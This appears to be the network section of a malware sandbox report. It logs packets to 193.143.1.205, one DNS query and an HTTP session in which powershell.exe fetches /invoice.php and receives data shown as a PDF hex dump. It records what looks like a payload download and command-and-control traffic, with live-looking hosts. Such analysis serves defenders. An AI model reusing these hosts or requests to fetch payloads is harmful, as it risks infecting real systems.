Jan 10, 2025 21:17:35.943600893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.943614960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.943625927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.943633080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.943645000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.943661928 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.943661928 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.943717957 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.947226048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.947261095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.947272062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.947284937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.947310925 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.947339058 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.947351933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.947364092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.947376013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.947388887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.947427034 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.947432041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.947446108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.947459936 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.947459936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.947474003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.947488070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.947501898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.947503090 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.947546959 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.947572947 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.947601080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.947616100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.947629929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.947640896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.947658062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.947675943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.947679996 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.947724104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.947737932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.947751999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.947767019 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.947789907 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.947884083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.947896004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.947907925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.947921991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.947932959 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.947943926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.947957039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.947969913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.947973013 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.947982073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.947995901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.948007107 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.948012114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.948029041 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.948051929 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.968394995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.972142935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.972165108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.972178936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.972192049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.972206116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.972219944 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.972220898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.972237110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.972250938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.972265005 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.972265959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.972281933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.972284079 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.972320080 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:36.015470028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.015505075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.015522957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.015537024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.015551090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.015564919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.015575886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.015594006 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:36.015595913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.015609980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.015623093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.015635014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.015647888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.015647888 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:36.015666962 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:36.015682936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.015683889 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:36.015697002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.015711069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.015722036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.015727043 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:36.015752077 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:36.015815973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.015861988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.015875101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.015891075 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:36.015916109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.015927076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.015939951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.015943050 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:36.015954971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.015969038 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:36.031856060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.031883955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.031893015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.031898975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.031903982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.031909943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.031919003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.031934977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.031948090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.031961918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.031968117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.031982899 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:36.031990051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.032011032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.032023907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.032031059 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:36.032037973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.032049894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.032053947 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:36.032064915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.032078028 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:36.032115936 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:36.032138109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.032150984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.032164097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.032179117 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:36.032222033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.032252073 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:36.032272100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.032284975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.032305002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.032315969 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:36.032319069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.032335043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.032351017 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:36.032355070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.032380104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.032383919 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:36.032385111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.032390118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.032407045 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:36.032449007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.032490969 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:36.032499075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.032512903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.032527924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.032541037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.032541990 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:36.032567024 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:36.032610893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.032629967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.032644987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.032656908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.032665968 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:36.032677889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.032700062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.032712936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.032726049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.032740116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.032757044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:36.032757044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:36.032757044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:36.032910109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.032931089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.032943010 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:36.032944918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.032958984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.032972097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.032984972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.032990932 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:36.032999992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.033013105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.033020020 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:36.033035040 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:36.033068895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.033088923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.033101082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.033104897 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:36.033132076 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:36.033152103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.033171892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.033184052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.033195972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.033204079 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:36.033210993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.033224106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.033229113 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:36.033255100 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:36.033319950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.033334017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.033349037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.033363104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.033365965 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:36.033392906 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:36.033409119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.033415079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.033421040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.033426046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.033440113 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:36.033474922 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:36.033528090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.033540964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.033554077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.033565044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.033576965 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:36.033576965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.033591986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.033597946 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:36.033607006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.033622026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.033627987 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:36.033652067 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:36.033652067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.033658028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.033663034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.033677101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.033688068 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:36.033720970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:36.033909082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.033922911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.033937931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.033947945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.033958912 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:36.033986092 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:36.061809063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.061829090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.061841965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.061855078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.061867952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.061880112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.061902046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.061916113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.061958075 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:36.062067986 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:36.105539083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.105565071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.105578899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.105592012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.105607986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.105621099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.105648041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.105659008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.105665922 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:36.105669975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.105684042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.105695009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.105701923 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:36.105710030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.105730057 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:36.105736971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.105748892 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:36.105755091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.105767012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.105777979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.105787039 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:36.105792999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.105803967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.105814934 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:36.105817080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.105830908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.105835915 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:36.105844021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.105866909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:36.105887890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.105897903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.105910063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.105918884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:36.105923891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.105946064 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:36.121767998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.121792078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.121808052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.121819973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.121834040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.121845961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.121857882 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:36.121864080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.121887922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.121905088 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:36.121911049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.121922970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.121939898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.121948004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.121952057 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:36.121962070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.121973038 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:36.121977091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.121989965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.121992111 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:36.122026920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:36.122736931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:36.184737921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:36.383050919 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:36.388159037 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:36.802615881 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:37.232208014 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:37.237109900 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:37.237248898 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:37.238070965 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:37.242862940 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:38.052787066 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:38.097697973 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:38.471323013 CET	49731	8888	192.168.2.4	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 21:17:44.915594101 CET	53411	53	192.168.2.4	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 21:17:44.915594101 CET	192.168.2.4	1.1.1.1	0xe682	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 21:17:44.922605991 CET	1.1.1.1	192.168.2.4	0xe682	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	193.143.1.205	80	7776	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:17:34.575486898 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 21:17:35.365354061 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 20:17:35 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 